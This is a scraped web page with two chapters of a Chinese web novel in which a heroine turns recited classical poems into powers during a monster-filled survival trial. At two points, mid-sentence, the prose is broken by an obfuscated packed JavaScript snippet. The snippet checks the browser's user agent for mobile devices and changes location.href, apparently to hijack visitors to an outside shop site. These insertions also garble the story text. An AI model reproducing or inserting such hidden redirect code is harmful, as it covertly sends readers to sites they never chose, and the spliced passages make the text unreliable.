《笔来!华夏书生她吟诗成神》 3. 轻罗小扇扑流萤 “大佬!” 两人喜极而泣,几乎是连滚带爬地从祠堂里冲出来,抱住苏砚嚎啕大哭。 “呜呜呜,我还以为我死定了!” “太可怕了!” “我刚腿都软了,一步都动不了,眼睁睁看着那玩意儿往我脸上凑!” 两人一把鼻涕一把泪。 她们是真以为自己要交代在这里了。 苏砚:“……” 她低头看着哭得形象全无的两个挂件,有点无奈。 “行了,没事了。” 两人稍微冷静下来,这才意识到自己做了什么。 赶紧松开手,胡乱地擦着眼泪。 “不过,大佬你是怎么发现不对劲的?” “是啊,”计秋也猛点头,“我俩都不知道发生了什么,莫名其妙就中招了!” 苏砚眨了眨眼。 能说吗?其实她也没发现。 只是刚靠近祠堂,就传来一股阴冷侵蚀感,和被困在琥珀时的感觉一模一样。 不过这段经历她没说,只是随口胡诌道: “在村子外面时,我就注意到了黑雾。” “这祠堂这么黑,于是留了个心眼。” “再看你们进去后半天没动静,猜到可能出事了。” 扯到黑雾,两人一下子就信了。 不愧是大佬! 在这种时候,还能保持如此冷静的头脑和敏锐的观察力。 再看看自己,一进去就两眼一抹黑,差点开局就送了人头。 惭愧,惭愧。 既然危机暂时解除,三人开始重新探查祠堂。 不过这次,白暮萤和计秋学乖了,亦步亦趋地跟在苏砚身后,生怕再着了道。 没办法,刚才真的太恐怖了。 这鬼地方连异能都能压制…… 等等。 白暮萤忽然想到一个问题。 她的A级火焰异能面对黑雾都毫无还手之力。 可苏砚仅仅是一句话,就直接点亮了整个祠堂,还硬生生逼退了黑雾。 好家伙! 大佬到底是什么能力? 难道天赋等级远在A级之上?还是说天克这种诡异的黑雾? 白暮萤心里猫抓似的,好奇得要命,但终究没敢问出口。 打听别人的天赋底细,是大忌。 大佬不说,咱就不问。 “对了,”苏砚的声音传来,“你们刚才中招时,具体是什么情况?” 白暮萤回过神,连忙回答:“牌位!” “我明明站在门口没动,但那些牌位突然一下子拉近了。” “我也是!” 牌位么…… 苏砚若有所思地看向供桌。 牌位很多,至少三四排,每排大约有二三十个,粗略算起来大约百来个。 “这村子,”她忽然问,“刚才进村时,你们有注意到大概有多少户人家吗?” 计秋记性很好,立刻回忆道: “沿着主路两边,带院墙的大概有十几户,还有些塌得太厉害,分不清是不是独立的房子。” “如果算上那些,可能接近二三十户的样子。” “按照一家三口或者四口的规模算……” 她说着说着,声音一顿。 二三十户,每户三四口…… 加起来一百人上下。 这不正好和供桌上牌位的数量差不多? “卧槽!”白暮萤也反应过来了。 “合着这祠堂里供着的,不是什么祖宗先人?” “是整个村子,所有的死人!” 全村死绝。 全村入祠。 一瞬间,她们只觉得浑身鸡皮疙瘩都起来了。 几乎是同时,一道光幕弹出: 【恭喜玩家苏砚、白暮萤、计秋探索关键剧情节点:】 【荒村绝户(祠堂)】 【当前探索度:100%】 【触发突发事件:亡者回魂!】 【任务奖励:解锁祠堂为安全屋,至本次试炼结束。】 提示一出现,供桌上的牌位就开始剧烈抖动。 “咔嚓——咔嚓!” 紧接着,浓郁的黑雾喷涌而出。 转眼间,黑雾在半空中化作一只只凶戾的黑鸟。 “嘎!” 这些黑鸟眼冒红光,下一秒,直奔三人。 “是异种!” “小心!” 白暮萤反应极快,抬手就是一团火球轰了过去。 火光炸裂,瞬间吞噬了七八只黑鸟。 但黑鸟太多了。 “嘎!嘎!嘎!” 更多的黑鸟愤怒尖啸,以更凶悍的姿态俯冲而下。 “妈呀!” 计秋是个脆皮奶妈,吓得脸都白了,下意识就想往苏砚身后躲。 结果一转头,一声巨响—— “砰!” 只见一直画风清冷的苏砚大佬,此刻竟一脚踹翻了供桌! 然后单手扣住那块桌板,直接将其抡圆了举起来。 是的,抡了起来。 白暮萤:“?” 计秋:“?” …… 苏砚没管队友的震惊,她决定吟诗。 【轻罗小扇扑流萤!】 扇是什么?扇风的。 虽然桌面大了点,厚了点,但本质上不也是一块能扇风的木板吗? 四舍五入,是扇子。 流萤是什么?会发光的虫。 那些黑鸟眼露红光,在昏暗中飞舞,如同鬼火流萤。 流萤实锤! 意象完美契合。 苏砚手腕翻转,举着手中巨扇,狠狠地朝那群黑鸟拍了过去。 “呼——!” 动作并不花哨,甚至有些朴实。 但那力道,却是排山倒海。 砰!砰!砰! 首当其冲的几只黑鸟躲闪不及,被结结实实拍中。 当场炸成了一团团黑雾。 当真如流萤般凄美…… 更符合意境了。 “嘎?!” 剩下的怪鸟被这凶残的一幕砸蒙了。 但苏砚可没给它们发呆的机会。 左挥!右拍! 下砸!上撩! 如同秋风扫落叶。 暴力,高效,还带着一种碾压般的从容。 她脚步微错,身形在方寸之地转动。 手中木板却舞得呼呼生风,在黑鸟群里大杀四方! “……” 白暮萤和计秋已经看懵了。 那些凶悍的黑鸟,在苏砚面前,真的就像夏夜里脆弱的流萤。 一扇,一片。 再一扇,又一片。 两人脑子里,只剩下一个念头在疯狂刷屏—— 原来大佬不光是法师? 还是个狂暴近战士! 虽然很离谱…… 但为什么,看得这么爽啊! 被这一幕感染,白暮萤和计秋也热血上头。 “拼了!” 计秋更是从地上捡起一根桌腿,对着冲过来的漏网之鱼就是一通乱挥: “都给我死!” 虽然毫无章法,但狠劲倒是十足。 白暮萤也火球连珠炮般甩出,配合苏砚清理从侧翼扑来的黑鸟。 “让你们尝尝本小姐的厉害!” “烧死你们!” 配合之下,三人竟在祠堂内清出了一片真空地带。 但很快,她们就发现了不对劲。 “等等!这些鸟怎么越打越多?!” 白暮萤震惊地抬头。 无论拍碎了多少只,烧焦了多少只,那黑鸟数量似乎根本没见少。 反而越来越多,也越来越疯狂。 “难道它们会复活?!” “不是复活。” 苏砚一记横扫,利用短暂的间隙看向供桌。 只见牌位中黑雾正源源不断地向外喷涌,仿佛连通着一个无穷无尽的深渊。 “是太多了。” 若她没猜错,牌位背后恐怕连着一个恐怖的巢穴。 不过短短数分钟,整个祠堂已经被黑鸟塞得满满当当。 三人被迫背靠背挤在一起,组成一个越来越小的防御圈。 “这么多……”计秋声音有些发颤,“就算咱们异能耗光,也杀不完啊!” 最关键的是,她们被困在祠堂里了。 前后左右全是黑鸟。 如同瓮中之鳖。 只能被动挨打,直到力竭而死。 “得出去。”苏砚当机立断。 “可门被堵死了!”白暮萤看向门口,黑压压一片全是鸟。 就算她用火焰轰开一条路,可还没等冲出去,后面的黑鸟就会在瞬间补上缺口。 就在这时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171699|196831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏砚忽然扔掉了手中的桌板。 紧接着,她一手一个,抓住白暮萤和计秋的手腕。 “别反抗。” 还没等两人反应,就听大佬吟诵声再次响起: 【随风潜入夜,润物细无声。】 诗落意成。 白暮萤和计秋只感觉眼前的一切都变得朦胧起来。 祠堂里的烛火,狰狞的黑鸟,甚至身边的同伴,都像隔了一层薄纱,变得模糊而不真切。 身体好像也变轻了? 不,不是变轻。 白暮萤惊愕低头,发现自己正在变透明。 身体仿佛化作了一缕没有重量的风,一滴即将渗入大地的雨。 她甚至能感觉到自己那种流动感。 “卧槽?!” 这时,几只黑鸟尖啸着俯冲而来。 白暮萤本能地想躲,却发现那些黑鸟竟然直接穿透了身体,扑了个空! “群体虚化?隐身?!” 紧接着,一股柔和的风托起了她们。 白暮萤忽然想起了苏砚从天而降时的那一幕。 风马云龙,霓裳霞光,驾驭万千气象。 难道大佬的天赋,本质上是风系? 御风而行,化身自然? 还没等她想明白,自己已经轻飘飘地穿过密密麻麻的鸟群,飘出了祠堂大门! 如同春风入夜,不留痕迹。 …… 三人落地,那股朦胧感消失了,身体也恢复正常。 “不是……这就出来了?” 白暮萤和计秋一脸恍惚。 下一秒,祠堂大门猛然炸开! 木屑纷飞中,无数只黑鸟尖啸着,狂涌而出。 天空一下子暗了。 原本就昏暗的夜色,此刻更是被那遮天蔽日的黑鸟群吞噬。 它们密密麻麻,层层叠叠,黑压压一片。 “……” 白暮萤顿时绷不住了。 搞了半天,她们刚才在祠堂里打生打死的,竟然只是黑鸟的先头部队? 现在才是主力大军! 计秋忽然想到什么,转头往山坡下看了一眼。 只见虽然下面其他人也遭遇了黑鸟的攻击,但围攻他们的黑鸟,仅仅只是一小撮,撑死不过上百只。 和这漫天黑鸟比起来,简直就是小巫见大巫! …… 与此同时,下方的人也注意到了祠堂恐怖的景象。 他们惊恐地抬起头,看着那冲天而起的黑鸟群,一个个吓得面无人色。 “我的妈呀……那是什么东西?” “好多鸟,怎么会有这么多?!” “幸好,幸好我们没去那个祠堂!” “这谁顶得住啊……” 有人庆幸,有人后怕。 邱哲自然也看到了这一幕,嘴角微不可察地勾起。 “果然是死路。” “幸好……” 他心中暗自庆幸。 幸好他够聪明,让苏砚去当了替死鬼。 被如此恐怖数量的异种包围,神仙来了也得死。 …… 土坡上。 狂风呼啸,卷起满地枯叶尘土。 黑鸟群在上空盘旋,蓄势,如同悬在头顶的黑色铡刀,随时可能落下。 白暮萤顿时心生退意,颤声道: “大佬,要不咱们还是先溜……” 她刚提出建议,一转头,却发现身边空无一人。 “诶?人呢?” 她慌忙四下寻找,这才发现苏砚不知何时又走到了柳树下。 漫天黑鸟盘旋尖啸,眼看下一波攻击就要来了。 可在这生死关头,苏砚却不紧不慢地抬起手,拽住了一根垂落的柳枝。 然后…… 摘下一片柳叶。 晚风吹过,枯叶飘零。 白暮萤和计秋都看懵了。 不是,大佬,都什么时候了! 火烧眉毛了!命悬一线!千钧一发啊! 您还有心思搁这儿摘叶子玩? 总不可能…… 您是想用这软趴趴的柳叶,去干翻天上那成百上千只黑鸟吧? 别开玩笑了! 这叶子扔出去,给黑鸟挠痒痒都不够。 就在这时,黑鸟群悍然坠下。 只见苏砚夹着柳叶,朝着空中轻轻一抛。 柳叶随风飘起。 4. 二月春风似剪刀 伴随柳叶飞扬,苏砚清越的声音响起,穿透黑鸟的尖啸: 【不知细叶谁裁出,二月春风似剪刀。】 贺知章,《咏柳》。 写的是初春柳叶新发,春风如剪。 但此刻,苏砚要借的,是春风似剪刀的意境—— 锋锐!凛冽!无物不斩! 话音落下的瞬间,原本阴冷的夜风陡然变了。 一股凛冽的,带着初春寒意的劲风,凭空而起! 自柳树为中心,席卷而出。 “哗啦啦!” 那棵仿佛已经枯死的老柳树,猛地剧烈震颤起来。 成千上万片柳叶,枯黄中带着点点新绿的柳叶,在这一刻,同时脱离枝干。 冲天而起! 柔软细长的叶身绷直如剑,叶尖锋锐如针。 枯黄褪去,碧色盎然。 仿佛时光倒流,寒冬退去,二月春风拂过,万千新叶初发。 却是以最凶悍,最锋利的姿态,化作碧色飞刀! “咻咻咻!” 十万柳叶,化作一场逆冲苍穹的绿色风暴。 自下而上,悍然撞向那俯冲而下的黑色鸟海! 风是春风,亦是剪刀。 叶是细叶,更是飞刀。 既然数量悬殊,漫天黑鸟无穷无尽。 那就以叶为刃,以风为剪。 裁天裁地,裁尽魑魅魍魉! 一瞬间,碧色风暴与黑色鸟海,轰然对撞。 “我的老天奶啊……” 白暮萤和计秋仰着头,直接看懵了。 她们眼睁睁看着那原本柔弱无骨的柳叶,在苏砚那句诗念出的瞬间,仿佛被注入了某种无上的剑意。 每一片叶子都在发光。 那是青碧色的流光,裹挟着凛冽的杀机。 昏暗的天穹仿佛被一分为二。 一半是俯冲而下,由无数黑鸟组成的黑色死海。 另一半,则是拔地而起,由万千柳叶汇成的碧色风暴。 “……那还是柳叶吗?”白暮萤只觉得头皮发麻。 分明是传说中的摘叶飞花,皆可伤人! “可那毕竟是异种,浑身铁羽的黑鸟。”计秋忍不住咽了口唾沫,“这薄薄的叶子,就算真化作飞刀,能行吗?” 两人不知道。 忐忑中,青色的风暴与黑色的乌云已然在半空中轰然相撞。 “嗤嗤嗤——” 恐怖的切割声连成一片。 柳叶如刀,风如锉。 仅仅是一个照面,冲在最前面的上百只黑鸟,直接被青色叶刃绞成了漫天血雨! 这哪里是势均力敌,分明是单方面的碾压。 柳叶风暴到哪里,哪里就被荡涤一空! “……” 白暮萤和计秋已经看傻了。 什么摘叶飞花啊。 这分明是万剑归宗! “嘎——!” 后面的黑鸟群终于察觉到了恐惧,想要振翅拉升,逃离这片死亡风暴。 但晚了。 春风,无孔不入。 那青色的风暴仿佛长了眼睛,呼啸着直冲云霄。 所过之处,斩尽一切! 白暮萤忍不住看向苏砚。 她站在这场恐怖的风暴中心。 在她身后,是那棵巨大的老柳树。 在她身前,是逆流而上的万千飞叶。 凛冽的劲风吹起她的发丝,拂过她平静的脸庞。 这一幕美得惊心动魄,也强得令人窒息。 这才是大佬真正的实力吗? 一言,可令万物听令。 一语,可使风云变色。 这简直是把异种按在地上疯狂摩擦! …… 与此同时,山坡下的村庄里。 原本还在为那漫天黑鸟而恐惧颤抖的幸存者们,此刻全怔住了。 他们刚刚还在为几十只黑鸟焦头烂额,打得险象环生。 结果一抬头,便看见那通天彻地的碧色龙卷,硬生生绞碎了那片遮天蔽日的黑鸟海洋! 那青光璀璨夺目,在夜空中格外显眼。 “那是什么?怎么看着……像是柳叶?” “柳叶?你疯了吧!什么柳叶能有这种威力?” “可是……” 那人的话还没说完,便戛然而止。 天上下起了雨。 无数细碎的青碧色叶片,如同绿色的雨,纷纷扬扬地飘落。 洒在众人的头上,脸上,地上。 有人下意识地伸手,接住青色碎片。 “真的是柳叶!” “妈呀!所以那些异种被柳叶给秒了?!” “离谱!” “我的天,苏砚到底是什么能力?” “刚才那是御风,现在这又是什么?控制植物?” “难道是自然系?” 就在众人还在为这神迹般的画面感到震撼时,忽然有人喊了一声: “你们快看积分榜!” 众人闻言,下意识地抬头看向天空中的血色光幕。 【幸存者积分榜(实时)】 【1.苏砚- 100分】 …… 不对! 几乎是他们眨眼的瞬间,那个数字就疯狂跳动起来! 100,300,500…… 1000,2000,3000…… 还在升,积分还在飙升。 数字跳动的速度快得让人眼花缭乱,疯狂刷新! 每一次刷新,都意味着有成百上千的异种被瞬间抹杀! 直到最终,那串数字终于缓缓停下。 【1.苏砚- 9995分】 【2.邱哲- 125分】 积分断层式碾压,第一! 第二名的积分与之相比,显得如此微不足道。 所有人都懵逼地看着那串近乎破万的积分。 “一只异种大概是4-6分不等……” “那这9995分……是杀了多少?” 有人脑子快,瞬间算了出来:“差不多……两千只?” 两千只? 系统一共提示整个区域也就2999只吧? 也就是说,在刚才那短短的十几秒钟里,她一个人宰了整片区域三分之二的异种? 这特么是刷分机器吧! 有人咽了口唾沫,声音都在颤抖。 “我们还在犹豫要不要和黑鸟干上,人家已经几百发入魂了?” “看看天上,一只鸟都没了!” 众人只觉得一阵头晕目眩。 不是,这合理吗? 他们这几十号人,被区区百来只黑鸟围攻,就被打得狼狈不堪。 而苏砚一个人,面对着那漫天遍野的黑鸟主力大军,反手就是一个团灭? 这是一个人能干出来的事儿?! “邱哥……” 邱哲身边的男生说话都结巴了。 “那个苏砚……她不是……” 废物吗? 这两个字小弟没敢说出口。 邱哲神色铁青。 怎么可能? 一个在学院里人尽皆知的纯种人类,登顶了积分榜第一? 而且还是以这种断层式的碾压姿态? 这不可能! 他死死地盯着光幕上那刺眼的数字,根本无法接受。 就在刚才,他还信誓旦旦地说苏砚死定了。 说她那点能力就是个样子货。 说让她去祠堂,是让她去吸引火力,当替死鬼。 结果呢? 苏砚非但没死,还反手把整个副本的怪给秒了! 她凭什么? 明明他才是天之骄子,是这个生存游戏里当之无愧的最强者。 “我不信她有这么强,是组合技。” “肯定是她和那两个队友用了什么特殊的组合技,或者触发了什么游戏道具。” “对!一定是这样!” …… 土坡之上,风停叶歇。 苏砚没理会众人的目光,注意力都在眼前疯狂刷屏的系统提示上。 【恭喜玩家苏砚,成功镇压亡者回魂暴动。】 【击杀异种(尸鹫)x1999,获得积分9995。】 【当前排名:No.1】 【获得特殊奖励:安全屋(长安村祠堂)。】 【注:此处怨气已荡涤,在这漫漫长夜中,这里将是唯一的净土。】 【技能领悟:《咏柳》。】 【效果:风刃/裁割/柔锋。】 【……】 苏砚满意点头。 果然,富贵险中求。 她之前的推断没错。 祠堂位于全村制高点,又是阴气汇聚之地,必然是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171700|196831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片区域的关键所在。 虽然风险极大,但只要能破局,收益也是巨大的。 更何况,旁边还有一棵柳树,简直是为她量身定做的地利。 以诗为引,借势天地。 天时地利人和都在她这边,不赌一把都对不起自己。 现在看来,这波血赚。 祠堂变成了安全屋,那意味着接下来二十多个小时里,她完全可以什么都不做,就能顺利通过试炼。 直接提前通关。 不过…… 苏砚回想起祠堂的牌位,那些喷涌出的黑雾,若有所思。 “连接异种巢穴的通道么……” 难道是新手试炼的附加题? 附加题分值肯定高得吓人,但难度估计也是地狱级的。 就在她考虑时,邱哲带着一大帮幸存者爬上了土坡。 众人看着尸山血海中纤尘不染的苏砚,不由得敬畏起来。 “这也太强了吧……” “一个人直接带飞我们了!” 邱哲看到众人的反应,垂下眼眸,但很快换上一副面孔,大步上前。 “苏砚同学,还有这两位,真是太感谢你们了!” “多亏了你们小队配合默契,成功干掉了这大一波异种!” 苏砚微微挑眉。 ……小队? 这是在暗示众人她没那么神,是队友给力? 白暮萤一听就不乐意了,刚想反驳,却被苏砚一个眼神制止了。 苏砚没说话,似笑非笑地看着邱哲。 她倒要看看,这人到底要耍什么花样。 邱哲见她不接话,顿了一下,然后自顾自地继续说道: “不过,村里的危机虽然解除了,但我们还是不能掉以轻心。” “距离试炼结束还有二十多个小时。” “说明接下来的时间里,危险大概率来自村外。” “不如我们两队联手,去村外探查一下。” “如何?” 此话一出,白暮萤和计秋脸色都变了。 去村外? 村外可全是黑雾啊,躲都来不及,这蠢货还要主动往里钻? 两人下意识地看向苏砚。 只见苏砚迎着邱哲的视线,平淡道: “不去。” “村外情况不明,贸然进入风险太大。” 听到拒绝,邱哲非但没恼,反而笑了。 “苏同学未免太谨慎了。” “如果……” “我一定要邀请你呢?” 话音未落,只见他猛地一挥手,一柄锋利无比的长枪凭空出现。 “去!” 长枪撕裂空气,带着刺耳的尖啸,直奔苏砚眉心而来! 这突如其来的变故让所有人都懵了。 “小心!” 白暮萤和计秋焦急地喊道,想要救援却根本来不及。 太快了! 而且距离太近了! 两人气死了,后知后觉意识到这卑鄙小人分明是故意的。 苏砚刚才放了那么大一个大招,又是龙卷风又是漫天飞叶的,精神力肯定消耗了大半。 现在正是她最虚弱的时候。 什么邀请啊,那就是个幌子,他这分明是要借机除掉苏砚! 邱哲勾起嘴角,眼底闪过一丝残忍的快意。 “死吧!” 金属长枪寒光凛凛,瞬间逼近苏砚。 眼看长枪即将刺中,劲风吹散发丝—— 苏砚却微微抬手,似是叹息: 【何意百炼钢,化为绕指柔。】 “嗡——” 某种规则瞬间降临了。 这句诗源自晋代刘琨,本意虽是感叹,但在此刻却变成了对物质形态的绝对篡改。 原本坚硬无比的百炼长枪,在那一瞬间忽然软了。 就像是面条遇到了开水。 “啪嗒。” 原本足以洞穿头颅的长枪,瞬间失去了所有的硬度和杀伤力,变得软趴趴的。 它像是一条温顺的银蛇,又像是一根柔软的缎带,轻飘飘地缠绕在了苏砚抬起的手上。 上一秒,是生死存亡的必杀一击。 下一秒,化作了指尖把玩的装饰。 全场:“……” 苏砚抬起手,轻轻晃了晃手指上缠绕的废铁,语气温柔。 “这就是你的邀请?”